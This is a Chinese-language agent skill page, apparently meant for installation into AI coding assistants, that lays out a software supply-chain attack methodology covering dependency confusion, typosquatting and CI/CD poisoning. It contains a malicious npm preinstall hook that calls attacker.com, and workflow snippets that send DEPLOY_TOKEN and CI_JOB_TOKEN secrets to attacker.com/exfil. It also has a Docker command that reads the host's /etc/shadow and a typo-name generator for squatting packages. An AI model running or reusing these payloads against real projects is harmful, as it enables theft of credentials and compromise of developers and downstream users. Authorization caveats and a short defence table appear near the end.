skills/exploit/advanced/supply-chain-attack/SKILL.md
软件供应链攻击方法论。当目标使用 npm/PyPI/Maven 等包管理器、有私有仓库、使用 CI/CD Pipeline 时使用。覆盖 Dependency Confusion、Typosquatting、恶意包发布、CI/CD 投毒、构建服务器攻击
npx skillsauth add wgpsec/AboutSecurity supply-chain-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
核心思路:不攻击目标本身,攻击目标信任的上游依赖/构建流程
目标使用什么包管理器?
├─ npm (Node.js) → npmjs.com 检查
├─ PyPI (Python) → pypi.org 检查
├─ Maven (Java) → mvnrepository.com 检查
├─ NuGet (.NET) → nuget.org 检查
├─ Go modules → proxy.golang.org
├─ RubyGems → rubygems.org
└─ 容器镜像 → Docker Hub / 私有 Registry
目标有私有仓库?
├─ 是 → Dependency Confusion 首选
└─ 否 → Typosquatting / 已有包投毒
企业内部包: @company/utils (版本 1.0.0, 私有仓库)
攻击者发布: company-utils (版本 99.0.0, 公共 npm)
如果包管理器优先从公共源拉取高版本 → 恶意包被安装
# 1. 从目标网站 JS 中提取包名
curl -s https://target.com | grep -oE "from ['\"]@[a-zA-Z0-9/-]+['\"]"
curl -s https://target.com/main.js | grep -oE "require\(['\"][^'\"]+['\"]\)"
# 2. 从泄露的 package.json / requirements.txt
# GitHub/GitLab 搜索
# 目标开源项目的依赖文件
# 3. DNS 探测(某些私有 npm 使用 DNS CNAME)
dig +short _npmrc.target.com
# 4. 错误信息泄露
# 404 页面可能暴露内部包名
// package.json — 恶意包
{
"name": "target-internal-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "curl https://attacker.com/callback?pkg=$npm_package_name&host=$(hostname)"
}
}
# 发布到公共 npm
npm publish
# 等待目标 CI/CD 在下次构建时拉取
| 包管理器 | Confusion 条件 | 防御 | |---------|--------------|------| | npm | 无 scope(@) 前缀 + 无 .npmrc 锁定 | 使用 @scope + registry 锁定 | | pip | 无 --index-url 锁定 + 无 --extra-index-url | 使用 --index-url 唯一源 | | Maven | 无 mirrorOf 配置 | 使用 repository 白名单 | | NuGet | 多源配置 + 无版本锁定 | 使用 nuget.config 锁定源 |
# 生成目标包的相似名称
# crossenv vs cross-env
# electorn vs electron
# cofee-script vs coffee-script
# Python 实现
python3 -c "
import itertools
pkg = 'requests'
typos = []
# 删除一个字符
for i in range(len(pkg)):
typos.append(pkg[:i] + pkg[i+1:])
# 替换相邻字符
for i in range(len(pkg)-1):
typos.append(pkg[:i] + pkg[i+1] + pkg[i] + pkg[i+2:])
# 增加常见后缀
typos.extend([pkg+'-python', pkg+'-py', 'python-'+pkg, pkg+'2', pkg+'3'])
print('\n'.join(set(typos)))
"
# 检查哪些名称在公共源上未被注册
# npm: npm view <name> 返回 404 = 可注册
# PyPI: curl -s https://pypi.org/pypi/<name>/json 返回 404 = 可注册
CI/CD 攻击面:
├─ 代码仓库
│ ├─ PR 注入(恶意 PR 修改 CI 配置)
│ ├─ Branch Protection 绕过
│ └─ Webhook 劫持
│
├─ 构建环境
│ ├─ 构建脚本注入(Makefile/Dockerfile/Jenkinsfile)
│ ├─ 环境变量窃取(secrets in env)
│ ├─ 构建缓存投毒
│ └─ 共享 Runner 逃逸
│
├─ 制品仓库
│ ├─ 镜像替换(tag 覆盖)
│ ├─ 包签名绕过
│ └─ 版本号抢注
│
└─ 部署环节
├─ 部署密钥窃取
├─ 配置注入(Helm values/Terraform vars)
└─ 运行时环境变量注入
# 恶意 PR 中修改 .github/workflows/ci.yml
# 或利用 pull_request_target 事件(在 base 上下文执行,可访问 secrets)
name: CI
on:
pull_request_target: # ⛔ 危险:在有 secrets 的上下文执行
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # 检出攻击者代码
- run: |
# 窃取仓库 secrets
curl -X POST https://attacker.com/exfil \
-d "token=${{ secrets.DEPLOY_TOKEN }}"
# .gitlab-ci.yml 注入
stages:
- build
build:
stage: build
script:
# 利用 CI/CD 变量窃取
- "curl https://attacker.com/exfil?key=$CI_JOB_TOKEN"
# 或利用共享 Runner 的 Docker socket
- docker run -v /:/host alpine cat /host/etc/shadow
安装时回调(验证攻击可达性):
├─ npm: scripts.preinstall / postinstall
├─ pip: setup.py install(setup() 执行时)
├─ Maven: maven-exec-plugin in pom.xml
└─ Go: init() 函数
⛔ 合法红队测试中:
├─ 只做 DNS/HTTP 回调确认可达
├─ 不窃取实际数据
├─ 不部署持久化
├─ 包中注明"This is a security test"
└─ 及时联系目标安全团队报告
供应链攻击的法律风险极高:
├─ ⛔ 未授权的 Dependency Confusion 可能构成犯罪
├─ ⛔ Typosquatting 公共包影响非目标用户
├─ ✓ 必须有明确书面授权
├─ ✓ 回调仅收集最小信息(包名+主机名)
├─ ✓ 包描述中注明安全测试
└─ ✓ 测试后立即撤下恶意包
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能